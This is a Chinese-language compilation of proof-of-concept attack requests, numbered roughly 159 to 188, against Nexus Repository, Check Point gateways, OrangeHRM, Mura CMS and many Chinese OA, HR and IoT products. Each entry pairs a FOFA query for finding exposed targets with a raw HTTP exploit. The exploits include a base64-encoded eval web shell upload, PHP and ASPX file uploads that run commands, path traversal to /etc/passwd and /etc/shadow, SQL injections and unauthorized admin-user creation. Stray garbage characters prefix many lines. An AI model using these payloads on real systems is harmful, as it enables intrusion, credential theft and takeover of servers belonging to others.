) x+ S" K  \" A+ m. F3 xFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
* C4 l& V0 F2 N+ x0 i: x$ DPOST /webservices/WebJobUpload.asmx HTTP/1.1
5 D1 u" y) Q! S7 w$ @+ V$ \9 n% UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
7 m2 U, o- F# P; Q, o+ Z! b% W2 S9 MContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

5 C! r5 ^5 r. E- X4 A<?xml version="1.0" encoding="utf-8"?>
/ i$ d: I2 p  W<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
4 |, y0 w+ W% q, N' \7 s8 \% e<soap:Body>
<jobUpload xmlns="http://rainier">
1 P; R" k3 z5 n<vcode>1</vcode>
6 b2 s- a: G$ L% O<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
& \: N6 s$ C$ c; E2 b' e& x) ?</soap:Body>
; h3 b$ o1 k7 L1 h: a6 E$ v</soap:Envelope>
0 l. X, Y7 L6 y  C8 u

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
% n- a( x1 L% f6 Y1 l: X

160. Sonatype Nexus Repository 3目录遍历与文件读取
3 X3 b/ V7 p" k' P& s/ xCVE-2024-4956
. l0 |" r( S6 J) s7 p* G3 V! pFOFA：title="Nexus Repository Manager"
& |0 R  r1 }1 t8 X1 m+ mGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
9 w9 X0 j% Q3 Z+ }2 THost: x.x.x.x
0 h3 q/ ?; {) s) H. H% l  ]( I; mUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
+ I2 L: V, }1 y* q! a) T  PConnection: close
  D8 o5 R1 _6 a. V; }: KAccept: */*
6 d, E; G. p4 p: l, K+ EAccept-Language: en
Accept-Encoding: gzip
- i' j6 l- U9 L9 N; U- q

5 s: s3 [2 ]2 X& y3 \7 M+ q' a* E161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
7 c$ {2 T5 d' e4 ?- lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
* k, k+ I; C! }Content-Length: 445
1 R3 Q" y' ]+ _4 W  L' SContent-Type: text/xml
, }! P: |8 I% T# qAccept-Encoding: gzip

1 v5 \) _2 Q* |7 o* s9 i% G4 G# M<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
/ ]  Q6 _- b4 K# M+ q1 V9 X<UploadResume xmlns="http://tempuri.org/">
2 [# J( h# ^/ D) n. w8 E1 `8 t% ]<ip>1</ip>
' }& J; k9 b! q9 X& T<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
  v  q2 W; @$ S7 ~* ]" S</UploadResume>
</soap:Body>
</soap:Envelope>

6 M" L1 O# t: J  [; E. ^: J) ?: y
http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
2 l( G% q2 r/ l( B) S2 p1 DPOST /QH.aspx HTTP/1.1
/ F  K' Q/ k& w3 n) n8 RHost: x.x.x.x
- @  Z# y( p- JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
. t7 k( }$ {7 P$ h6 y4 o0 ^Connection: close
! i+ z! f% n7 I3 w- a5 c/ ZContent-Length: 583
8 J6 O7 ?. O6 d' B8 S1 HContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
7 m9 p3 p5 o( [- `4 p3 uContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
  t. `; G! g$ J: {" q5 |Content-Type: application/octet-stream
+ V" v8 ]9 `" u- {4 P1 T" a( u
<% response.write("ujidwqfuuqjalgkvrpqy") %>
1 |" W  Z, ]% t# b. L2 K: t4 F7 K------WebKitFormBoundaryeegvclmyurlotuey
5 q  o' g: J& i5 WContent-Disposition: form-data; name="action"

upload
: C% R' e' T, _- n, ?& l------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
# z. M$ b  O; C. y
9 Z& W, \& |; ^ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
. K5 U% }- ~. h: `5 b- g/ BContent-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
( R* X! Z$ L1 D! X2 [+ \
2 B3 C2 q! W. w9 Y* M
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
& H$ a- Z6 ?  _$ @  H7 d
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
# n1 u; @1 s$ e- u  gPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
. l9 R, _6 |+ f8 L8 B( D% ]Connection: close
* M/ F* \! }; N- d, I8 bContent-Length: 293
3 v) @. @: K4 {, ZAccept: */*
Accept-Encoding: gzip, deflate
. a: a" j) F0 DAccept-Language: zh-CN,zh;q=0.9
7 F. j) Q$ w+ K( t& J) g# G0 `Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

7 W  d5 M) a# E( h& T4 E" ]------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
7 Q$ _& k/ a6 @. g------iiqvnofupvhdyrcoqyuujyetjvqgocod--
6 T- r  M6 q2 T- y

5 }" \6 M9 u5 q- h' Q164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
/ V1 r0 @7 A/ q3 \$ ?1 t$ {POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
! O$ W5 \) Z( jContent-Length: 288
; v' e" L. l0 A) xAccept: application/json, text/javascript, */*; q=0.01
& `* v4 L8 {. n8 G* m" {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
1 ^3 M# ?+ ]0 |7 ]5 ^Accept-Encoding: gzip
+ s" u6 i4 m0 }/ ]& U
------dqdaieopnozbkapjacdbdthlvtlyl
1 R0 `5 u  j4 ?& D' N& i& ?. z! iContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
" I+ k8 c0 O8 \( u' l* TContent-Type: image/jpeg
) U' S4 U, S# ^
" B8 }- F4 L) I6 A7 S" H<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
+ q1 A+ P8 ^9 v% p7 |! I: [
* R/ l( _% N4 s) e1 p6 @6 d
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
/ p. |5 ^& T3 p1 s( x
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
9 w- ^! h! m7 ^7 g& L( c6 lFOFA: app="OrangeHRM-产品"
9 A1 K; ], E5 H. q. F) rURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
$ O/ P! F7 ]5 @7 l: H
# C! _) n7 V3 w+ S
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
* B5 m- f; K% j- j) HPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
: e" k5 d* A9 N+ U' \/ tCache-Control: no-cache
Upgrade-Insecure-Requests: 1
/ A0 G& K/ `& h1 k9 M  EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' z: Z. j# G7 t; {+ \' W) sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 V! _; [$ C8 m" x2 W2 [Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
0 w4 l& g/ b& G5 b9 j8 s, q: E, TContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
9 O+ H; p+ y: V/ cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 ^# o: m5 s2 c( JContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
9 F& U% Y8 P$ \" ~5 ~Connection: keep-alive
; t8 ^) K7 q8 f% t- @6 o

168. 宏景EHR OutputCode 任意文件读取
  l3 W! L. D7 M& k* b8 Z/ W  w4 LFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
' e1 j; i/ h: m, D& THost: your-ip
$ U4 a! N( E$ I( p0 s' v5 F: nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
6 x. o- R* L% s0 j3 Z$ c2 b" LContent-Type: application/x-www-form-urlencoded
( k- P; q, S5 d% b) XConnection: close


5 g$ N. i& h9 t* H  C7 x" n
: }6 ?/ o3 b7 y$ k8 Y169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
+ Y7 D( o' m$ ^$ w6 tGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
4 j' T( J# S2 i5 J1 h9 _2 m0 a# z9 nHost: your-ip
/ ?6 {7 [& q" GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
9 b) n$ o9 V3 N* f2 P" c& g/ C/ e% J& I


/ i) O2 U9 V2 `2 x170. 宏景EHR DisplayExcelCustomReport 任意文件读取
, S6 J' g0 ^: s% J) i2 z% UFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# e( j) Z8 l2 m5 q+ d7 ]Content-Type: application/x-www-form-urlencoded
( F, Y5 ~; Y9 Y; f+ w7 W! f. ?
$ c/ b* p, n& Hfilename=../webapps/ROOT/WEB-INF/web.xml

/ m4 l2 Z( i9 S* I5 ~0 ?) h3 Y/ {
171. 通天星CMSV6车载定位监控平台 SQL注入
  p2 G; Z9 E* u2 O& w, T5 s* [# PFOFA：body="/808gps/"
4 d: l$ K+ X! J' O# RGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
$ N) j: N: ]* C8 Q9 _Accept: */*
1 V2 U* _1 i# XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
, C% j4 j" B5 k) T( UConnection: close

# ^8 E! p( a0 N* a( u

9 P# S0 H6 P' Y: u3 {5 l$ U+ }1 Q172. DT-高清车牌识别摄像机任意文件读取
) X6 v2 k" W* w% H1 _FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
) z+ u1 N6 F8 b2 ?Host: your-ip
/ O2 g0 b  j$ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 V1 g% u! S: a. z4 e* iAccept-Encoding: gzip, deflate
7 B* `) z3 a$ y" a5 ?, ]Accept: */*
Connection: keep-alive
- Z* ~- F3 \# I4 o

  e& r8 H" e* a* m
173. Check Point 安全网关任意文件读取
+ j0 ~0 J; g: b. q$ R3 OCVE-2024-24919
8 O+ I$ N3 O: a9 L* q4 b' j5 JFOFA：app="Check_Point-SSL-Network-Extender"
8 O5 P6 J6 l: V0 N( _POST /clients/MyCRL HTTP/1.1
- P( c" C% {& Z) lHost: your-ip
6 H2 R3 Y& a* N# G- LContent-Type: application/x-www-form-urlencoded
3 t  S8 c3 L! k- G5 ~  s1 ^
2 y- r: l: ?7 p0 n. T" {! i) k1 AaCSHELL/../../../../../../../etc/shadow
" E$ c' A; M4 w0 C

) ^3 ~* {$ j7 F# ^  C* `
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
9 c! \. x& W, a: j4 I( \2 U. PGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" t" O$ d* V/ m3 u$ ^" K" UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 U; l  \* m) M. }Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
! ^/ k! ^( F. t; T) m. |Connection: close



% j' M! r  U% P2 U6 P175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
2 H( @. o) }* e+ q8 k- o- L$ v2 jFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
* E" Q3 J; J& b1 c) c. A/ uHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  `- P( [; q! W1 i' V' T; dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& @* c, j3 d5 b) yAccept-Encoding: gzip, deflate
Connection: close
; F( C  ?: \/ {' _Upgrade-Insecure-Requests: 1
0 K5 }$ s3 J$ j7 K

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
7 k0 ?- \5 {$ q" M  `. B* xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
0 i7 D9 t7 n) a2 y; R3 T  z9 SConnection: close
% L& N- r3 g; I3 w
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
0 e% a2 O! n: d9 |7 eContent-Type: image/png
1 [1 z1 m9 _/ V2 H" C; W: ]( Q. y
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
3 z* Y5 y/ _3 h+ _+ o$ V6 YContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
3 Z* q5 y, \) V9 M, l! f1 t


177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
8 Y; o6 y  ?; c7 I+ T/ ^* H/userLogin.asp/../actionpolicy_status/../GR5200.cfg
; Y& q1 X8 P- H4 S, R/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
. l/ |" l; M6 I2 S: J0 z/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
, F/ U: W; G- e" w2 B3 x/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
2 D" `/ j) r) M. L% v) S) }. x/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
+ w( Q0 h( l' Q" G- i$ e+ @/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
5 S8 w( s7 @+ s( B/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
2 U/ T, ]0 P" S  f/ Q/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

  _& U; N! l1 x& y( u2 e0 n+ R% s
. Q  }/ X- f1 a( P4 n, }3 L$ Q( s178. H3C校园网自助服务系统-flexfileupload-任意文件上传
$ C! P* U& c5 BFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
5 j8 C' ~* I4 \8 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# j. \! ~. S  v& S2 W# WContent-Length: 252
Accept-Encoding: gzip, deflate
( m* [- ~+ c9 w$ ?5 BConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
+ `4 `* W  R- E. R4 w4 j9 d-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
1 D5 [, _. K1 R1 n
12234
-----------------aqutkea7vvanpqy3rh2l--
5 J( D! O$ A1 |2 V& f! X8 }

GET /imc/primepush/%2e%2e/flex/12234.txt
% g' v1 M& l' [+ V- B: c0 O9 g
3 O, N& A6 c. J8 p) Z
+ p: _* G7 }1 S: j0 u1 T179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
! ?3 y) E! A: P7 A& wUser-Agent: Mozilla/5.0

( y7 S' O8 F" o$ U( a5 Opath=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
0 S7 Z4 L4 _/ GFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* l5 C2 d! D: ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 h4 ~5 R; [% j& s. pConnection: close

, k  u8 r( A( q. r  \
5 Z+ K4 b/ K$ y( ~+ }. n181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
5 N  s: X$ Y7 [1 b, q+ yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
/ `  V% A8 _) jAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

1 E7 q7 ?) d7 R
: {1 ]3 g% f% j5 i2 f% Uaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

9 \' u5 e+ [6 a2 {  o; Y- N  K0 u
4 _6 _5 A9 ^) l6 {) Y& m8 j182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
+ I) o, I' p' }& _8 |( n. JFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
  I; z; G- ^. r' w, g

! ^4 [  z% m& |. f) _, Y3 vusername=test1234&pwd=test1234&savedays=1

; K: j4 U% e: B& p
: L. J4 M2 I6 P* Y183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
& K6 N$ v' p7 H; F. OFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
0 {5 X/ l& U; c, W( Z* z2 }GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
  _3 g; v9 k  p/ x

5 d5 X# |( d) d4 p6 p6 ], u184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
4 ?$ b" g8 b! o% l# \( JPOST /soap/AddUser HTTP/1.1
& ?# z( G1 I' y3 m# t( hHost: your-ip
Accept-Encoding: gzip, deflate
  v9 ^( j6 \% }$ Q: l8 N4 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
9 ^5 q. q% C+ A+ Q$ Z8 u# k" RContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 L( s+ s; b! \5 S1 v" BX-Requested-With: XMLHttpRequest


insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

: G- X& C, x% L' \5 @
185. 瑞友天翼应用虚拟化系统SQL注入
9 p3 H4 m! f3 n- n' u" A5 vversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
( G# d2 c: g0 a' b) Q% Z1 jHost: host


186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
6 Q- h' ~" O# R' C$ Q( W7 f8 r; wPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
+ D7 }8 L  p, H" X$ A0 d- M" nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) L3 ~  O& j4 S& l( W) e6 xAccept-Encoding: gzip, deflate
* p2 \+ H9 T3 Q9 c* W1 R0 O& RConnection: close
+ L/ f' N$ m; C( u& l8 QContent-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

& i3 L3 O  V2 ?/ [( }# B7 r* p6 ?
: }* @* J) j) }1 F1 Z/ o- s; S8 o187. Mura CMS processAsyncObject SQL注入
" S  K6 v" t3 ]; |8 G, UCVE-2024-32640
$ I4 C2 v' E+ c+ ~1 E9 t9 XFOFA："Mura CMS"
8 ]% @0 M6 ?3 O+ @; ^; ]POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
. b7 d, b$ a5 B2 |$ T' UHost: your-ip
) c2 r" F  N7 h* m% KContent-Type: application/x-www-form-urlencoded
% b) ]2 X7 m* y4 j: c0 Q- h

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
2 W! a" B  ^! B6 @' @version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
6 e9 x- W% i% R- G7 IGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
/ ~! [% ~- B# R4 w' lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
